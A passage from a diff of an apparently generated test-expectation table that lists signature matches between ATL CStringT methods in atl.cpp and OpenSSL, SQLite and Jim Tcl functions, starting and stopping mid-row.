CStringT | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const ML_KEM_KEY *,int) | | ossl_ml_kem_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OPENSSL_STACK *,int) | | OPENSSL_sk_value | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CERTREPMESSAGE *,int) | | ossl_cmp_certrepmessage_get0_certresponse | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get0_newPkey | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_get_option | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_PKISI *,int) | | ossl_cmp_pkisi_check_pkifailureinfo | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const OSSL_CMP_POLLREPCONTENT *,int) | | ossl_cmp_pollrepcontent_get0_pollrep | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | RSA_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | RSA_test_flags | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const RSA *,int) | | ossl_rsa_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SLH_DSA_KEY *,int) | | ossl_slh_dsa_key_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL *,int) | | SSL_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_CTX *,int) | | SSL_CTX_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_SESSION *,int) | | SSL_SESSION_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const SSL_SESSION *,int) | | ssl_session_dup | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const UI *,int) | | UI_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const UI_METHOD *,int) | | UI_method_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509 *,int) | | X509_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509 *,int) | | X509_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_ACERT *,int) | | X509_ACERT_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (const XCHAR *,int) | CStringT | CStringT | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (const YCHAR *,int) | CStringT | CStringT | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | DH_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | DSA_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | Jim_StrDupLen | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | NETSCAPE_SPKI_b64_decode | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | RSA_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const char *,int) | | parse_yesno | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const stack_st_X509_ATTRIBUTE *,int) | | X509at_get_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const stack_st_X509_EXTENSION *,int) | | X509v3_get_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | Jim_GenHashFunction | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int *,int) | | X509_PURPOSE_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int *,int) | | X509_TRUST_set | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | BN_security_bits | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | EVP_MD_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | EVP_PKEY_meth_new | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (int,int) | | acttab_alloc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (rule *,int) | | Configlist_add | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (rule *,int) | | Configlist_addbasis | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_busy_timeout | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_db_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3 *,int) | | sqlite3_wal_autocheckpoint | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_backup *,int) | | sqlite3_backup_step | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_context *,int) | | sqlite3_aggregate_context | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_context *,int) | | sqlite3_result_error_code | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_index_info *,int) | | sqlite3_vtab_collation | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_bind_parameter_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_blob | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_bytes16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_decltype16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (uint16_t,int) | | tls1_group_id2nid | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | RAND_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (void *,int) | | DSO_dsobyaddr | 1 | +| atl.cpp:1050:5:1050:12 | CStringT | (void *,int) | | sqlite3_realloc | 1 | | atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 0 | | atl.cpp:1050:5:1050:12 | CStringT | (wchar_t,int) | CStringT | CStringT | 1 | | atl.cpp:1061:10:1061:21 | AppendFormat | (PCXSTR,...) | CStringT | AppendFormat | 0 | @@ -236,12 +3259,327 @@ signatureMatches | atl.cpp:1071:9:1071:14 | Insert | (XCHAR,XCHAR) | CStringT | Replace | 1 | | atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 0 | | atl.cpp:1071:9:1071:14 | Insert | (int,XCHAR) | CStringT | Insert | 1 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ASN1_tag2str | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Jim_SignalId | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | PKCS12_init | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | Symbol_Nth | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_tolower | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | ossl_toupper | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | sqlite3_errstr | 0 | +| atl.cpp:1072:14:1072:17 | Left | (int) | | tls13_alert_code | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:1075:10:1075:19 | LoadString | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:1075:10:1075:19 | LoadString | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:1075:10:1075:19 | LoadString | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:1079:14:1079:16 | Mid | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:1079:14:1079:16 | Mid | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA *,int) | | RSA_clear_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA *,int) | | RSA_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_key_update | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_purpose | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_read_ahead | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_security_level | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_shutdown | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_trust | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL *,int) | | SSL_set_verify_depth | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| atl.cpp:1079:14:1079:16 | Mid | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| 